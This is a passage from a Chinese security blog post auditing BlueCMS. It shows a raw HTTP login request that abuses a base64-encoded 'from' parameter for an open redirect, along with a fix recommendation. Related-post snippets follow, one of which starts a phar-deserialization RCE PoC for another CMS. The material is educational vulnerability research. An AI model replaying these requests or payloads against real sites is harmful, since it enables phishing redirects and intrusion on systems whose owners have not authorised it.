    ● 是否还有其他条件：safecode验证码需要随机获取;act=do_login
     
 

复现
 

 

  1.  
    POST /user.php HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Content-Length: 120
     
  4.  
    Cache-Control: max-age=0
     
  5.  
    Upgrade-Insecure-Requests: 1
     
  6.  
    Origin: http://bulucms.com
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  10.  
    Referer: http://bulucms.com/user.php?act=reg
     
  11.  
    Accept-Encoding: gzip, deflate
     
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
  13.  
    Cookie: PHPSESSID=bfco4tm9tbkvjjg9vfm24ups41; detail=2
     
  14.  
    Connection: close
     
  15.  
     
  16.  
    referer=&user_name=00000&pwd=098765&pwd1=098765&email=qq%40qqqq.com&safecode=bwvy&from=d3d3LmJhaWR1LmNvbQ==&act=do_login
     
  17.  
    ``
     
 

 

图片
 

代码
 

 

  1.  
    $from变量不为空，将接受的变量base64编码。其他条件成立就会直接跳到传进来的值
     
 

 

图片
 

 

图片
 

修复建议
 

 

  1.  
    验证和过滤所有用户提供的重定向 URL，只允许合法的、事先定义好的目标地址。
     
 

  申明：本账号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法。
 

免费领取安全学习资料包！
 


 渗透工具
 

技术文档、书籍
 

 

面试题
 

 

帮助你在面试中脱颖而出
 

 

视频
 

基础到进阶
 

环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等
 

 

应急响应笔记
 

 

学习路线
 


                

        

        

    




    

      

        

            

              
                
                  运维Z叔
                
              
            

            

                关注
              
            

        

        

          
    
            
  • 
              
                
                
                
                
                    6
                
              
              
    点赞
    
            
    • 
            
  • 
              
                
                
                
              
              
    踩
    
            
    • 
            
  • 
              
                
                
                
                
                    17
                
              
              
    
                
    
                  
                    收藏
                  
                
    
              
    
              
    
                
    
                  觉得还不错?
                  
                    一键收藏
                  
                 
                
    
              
    
            
    • 
          
  • 
            
    
              
              
            
    
              
              
              
                    0
              
            
            
    评论
    
          
    • 
          
  • 
          
    • 
          
  • 
            
              
            
              
    
            
              
                
            
    
          
    • 
        

      

      










                



	

		

			

				
					
某cms代码审计

				
			

			

				

					HBohan的博客
				

				

					11-17
					
					771
					
				

			

		

		

			
				
[齐博CMS系统存在命令执行漏洞]

【技术资料】

漏洞利用过程：
1 首先爆出网站跟路径：
访问：
/index.php/cms/1

会在debug里看到网站根路径！ 如果开了debug的话！

然后根据网站根路径修改poc! 看poc里的注释！
2 利用poc生成 phar文件
poc
<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];

        public fu

			
		

	



                

              
                



	

		

			

				
					
代码审计学习-BlueCMS框架代码审计

				
			

			

				

					Alexhirchi的博客
				

				

					11-05
					
					1532
					
				

			

		

		

			
				
第一次的代码审计--BlueCMS代码审计

之前总说要学习代码审计，但每次面对大量代码时，又没什么开发经验，都是浅尝即止，面对几千行的代码毫无开始的头绪。（看来又印证了那句话：基础决定上层建筑）作为萌新 最开始我还是先去看了许多大佬的文章，了解一下他们的学习路线，并且学习了一些新的思路。这次挑了个小众的CMS入手–BlueCMS作为我的代码审计开始，顺便分享一些自己的总结。

环境配置：

BlueCMS v1.6 sp1
windows7
PHP 5.4.45 + Apache +mysql 5.7..

			
		

	



                


  
              

                


	

		

			

				
					
bluecms 代码审计

				
			

			

				

					2202_75317918的博客
				

				

					01-31
					
					1079
					
				

			

		

		

			
				
第一次进行代码审计 ，参考的文章比较多我觉得工具只能起到辅助作用 主要自己要花时间研究发现一些问题时回溯变量，或者直接挖掘功能点的漏洞这里碰到的洞也不是那么高大上，基本都是一些比较基本的洞。

			
		

	





	

		

			

				
					
BlueCMS代码审计

				
			

			

				

					eyyer的博客
				

				

					02-20
					
					1152
					
				

			

		

		

			
				
对BlueCMS的一次代码审计

			
		

	



		

			
		



	

		

			

				
					
Bluecms代码审计

				
			

			

				

					末初的CSDN博客
				

				

					03-17
					
					2486
					
				

			

		

		

			
				
一次简单的代码审计实战来自风哥的一篇文章
这第一篇文章只是一个前言，第二篇文章是我看完风哥的审计过程，然后我自己审计的文章。
环境搭建
phpstudy
BlueCMSv1.6sp源码
代码审计工具
总结功能点
BlueCMS本次代码审计实战靶场

拿到这样一个CMS我们首先应该对这个站的正常功能进行测试，看一看存在哪些功能，这里的测试方法是黑盒加白盒，以风哥的观点，挖掘漏洞的核心在于传参，知道了...

			
		

	





	

		

			

				
					
bluecms源码 初级代码审计

				
			

			

				

					07-31
				

			

		

		

			
				
【标题】：“BlueCMS源码 初级代码审计”指的是对BlueCMS 1.6版本的源代码进行安全审查和分析的过程，这是针对初学者的一个学习项目，旨在帮助他们了解和掌握代码审计的基础知识。  【描述】：“BlueCMS 1.6源码 ...

			
		

	





	

		

			

				
					
bluecms企业网站源代码

				
			

			

				

					03-16
				

			

		

		

			
				
bluecms企业网站是一个以asp+access进行开发的企业建站cms。 bluecms介绍： 1、BlueCMS核心程序不超过200K,全部由自定义系统写成,本程序最大的特点就是不用担心升级的问题,所有版本自动升级,所有高级版本标签都兼容...

			
		

	





	

		

			

				
					
bluecms-zzcms.rar

				
			

			

				

					06-09
				

			

		

		

			
				
"bluecms-zzcms.rar"这个压缩包包含两个流行的开源内容管理系统（CMS）——BlueCMS v1.6 sp1和ZZCMS 8.2的源代码，这两个系统被广泛用于搭建网站，同时也被用作初学者进行代码审计的实例。  **BlueCMS v1.6 sp1** ...

			
		

	





	

		

			

				
					
BlueCMS漏洞大集合

				
			

			

				

					02-03
				

			

		

		

			
				
client_ip伪造注入看代码吧，这里的getip函数是获取Ip的，由于，client_ip和x_forwarded_for都可以伪造。在include/common.fun.php的106行我们继续跟踪一下getip()这个函数的应用。comment.php中的113行这里我们伪造...

			
		

	





	

		

			

				
					
Bluecms内容管理系统 v1.6sp1

				
			

			

				

					08-29
				

			

		

		

			
				
v1.6演示地址:http://www.bluecms.net/demo 官方网站：http://www.bluecms.net/ 官方论坛：htpp://www.bluecms.net/bbs

			
		

	





	

		

			

				
					
CmsEasy代码审计1

				
			

			

				

					08-03
				

			

		

		

			
				
2. 在件 lib/table/tdatabase.php 的 restoreTables 函数可以看到，file_get_contents() 函数读取件内容

			
		

	





	

		

			

				
					
代码审计——Bluecms

				
			

			

				

					z1756227332的博客
				

				

					03-31
					
					476
					
				

			

		

		

			
				
关于审计方法可以定位敏感关键字 , 回溯参数传递过程，定位敏感功能点,通读功能点代码。黑盒测试 + 白盒测试
把bluecms的源码导入到Seay源代码审计系统中，开始自动审计。审计完成后根据正则配到的疑似存在漏洞的文件进行审计。
SQL注入
有个ad_js.php文件中getone方法中疑似存在漏洞我们进去分析一下

ad_js.php文件代码
<?php
/**
 * [bluecms]...

			
		

	





	

		

			

				
					
Bluecms 代码审计，入门级别

				
			

			

				

					weixin_43460070的博客
				

				

					08-08
					
					400
					
				

			

		

		

			
				
本人是CSU18级小学生一枚，今天在此立下flag，以后每3~5天审计一个建站系统，并写下博客作为见证，直到独立审计出通用型漏洞，拿到CNVD证书。
今天要审计的是对入门比较友好的bluecms，代码较为简单，代码量也比较小，下面开始。
此次采用灰盒测试，边审计代码边进行验证
搭建成功，进行代码审计的时候，自己搭建本地测试环境是相当必要的，这样可以对自己发现的漏洞进行验证。
我用的是Seay代码审计系统，先进行自动审计，省去我们一部分
时间。
首先是这一处，很明显的文件包含漏洞，act参数在前端是表示用户的

			
		

	





	

		

			

				
					
bluecms代码审计入门

				
			

			

				

					qq_42307546的博客
				

				

					06-27
					
					692
					
				

			

		

		

			
				
php

			
		

	





	

		

			

				
					
bluecms_v_1.6sp1代码审计

				
			

			

				

					RestoreJustice的博客
				

				

					03-23
					
					849
					
				

			

		

		

			
				
这是一个比较古老的cms,可以说是满目疮痍，更靶场一样。上述漏洞主要是前台的。后台同样存在类似或者没有写到的漏洞。由于自己技术有限，就到这。

			
		

	





	

		

			

				
					
Bluecms代码审计&&复现

				
			

			

				

					温和的跳跃
				

				

					11-13
					
					393
					
				

			

		

		

			
				
我终于能接受php代码看似奇怪的写法了发自内心承认它了，然后基础语法会了，看这些代码没有问题了 基本上无困惑感。根据seay工具一共找到255个漏洞。我今天心情还不错，应该再没有破坏了，再破坏又能破坏到什么地方去呢，还有什么可以破坏的呢。我觉得不会再差了那就是好的开始。所以心情很好。一切只能用鬼使神差解释了。可能上天想眷顾别人，我只希望让我变勤快一点变聪明一点吧。



这漏洞十分沙雕作为代码审计low级别的cms学习一下php语法和代码审计基本套路复习渗透测试常规手段还行。10年php写成这样可以了，好像

			
		

	





	

		

			

				
					
代码审计—Bluecms—sql—search.php(无)

				
			

			

				

					王嘟嘟的博客
				

				

					10-27
					
					325
					
				

			

		

		

			
				
0x00 前言
如饥似渴的学习ing。
你可能需要看看：
https://blog.csdn.net/qq_36869808/article/details/83029980
0x01 start
直接来看吧。

这里的变量是$cid,向上溯源

这里发现有intval。看之前的文章吧，不啰嗦。

...

			
		

	





	

		

			

				
					
网络安全审计之CMS代码审计

				
			

			

				

					kali_Ma的博客
				

				

					12-29
					
					3308
					
				

			

		

		

			
				
0x00：环境说明
Windows 10
Phpstuby
Php版本：7.2.9
CMS版本：MetInfo7.5.0
0x01：目录结构
|-- about
|-- about1
|-- admin
|-- app
|-- cache
|-- case
|-- config
|-- download
|-- favicon.ico
|-- feedback
|-- hits
|-- img
|-- include
|-- index.php
|-- install
|-- job
|-- member


			
		

	





	

		

			

				
					
代码审计：bluecms 前台comment.php注入复现

				
			

			

				

					qq_43233085的博客
				

				

					03-15
					
					448
					
				

			

		

		

			
				
代码审计：bluecms 前台comment.php注入复现bluecms代码审计漏洞复现
bluecms
BlueCMS是一款专注于地方门户网站建设解决方案，基于PHP+MySQL的技术开发，全部源码开放。
复现版本为bluecmsv1.6版本，各位可自行下载。
代码审计
先使用Seay工具审计一波，根据关键代码回溯。

工具显示comment.php获取ip地址可伪造，我们打开代码所在php文...

			
		

	





	

		

			

				
					
bluecms网站搭建

					
最新发布

				
			

			

				

					04-09
				

			

		

		

			
				
BlueCMS是一种网站搭建系统，它提供了一个简单而强大的平台，用于创建和管理个人或企业网站。以下是关于BlueCMS网站搭建的一些介绍：  1. 界面友好：BlueCMS拥有直观的用户界面，使得网站搭建变得简单易用。无需编程...

			
		

	



              




          




        



    





    



      

      

        
      

      





	

		评论	
	

	
	




  

    

      添加红包
      
    

    

      

        
        

          
          
        

        
请填写红包祝福语或标题

      

      

        
        

          
          个
        

        
红包个数最小为10个

      

      

        
        

          
          元
        

        
红包金额最低5元

      

      

        
        

          当前余额3.43元
          前往充值 >
        

      

      

        

          需支付：10.00元
        

        
        
      

    

  





  

    
    
  

  

    
    
  








  

    

      

        

          

            
            
成就一亿技术人!

          

          

        

        

          

          

            领取后你会自动成为博主和红包主的粉丝
            规则
          

        

      

      

        

          

            
              
            
            

              
hope_wisdom
 发出的红包
            

          

        

        

          

          

          

        

      

    

    

  



      
      

      
实付元

      
使用余额支付

      

        

          

            
            点击重新获取
          

        

        
扫码支付

      

      

        
          
            
          
          
        
      

      

        
        钱包余额
          0
          

            
            

              

                
抵扣说明：

                
 1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
 2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

              

            

          

      

      余额充值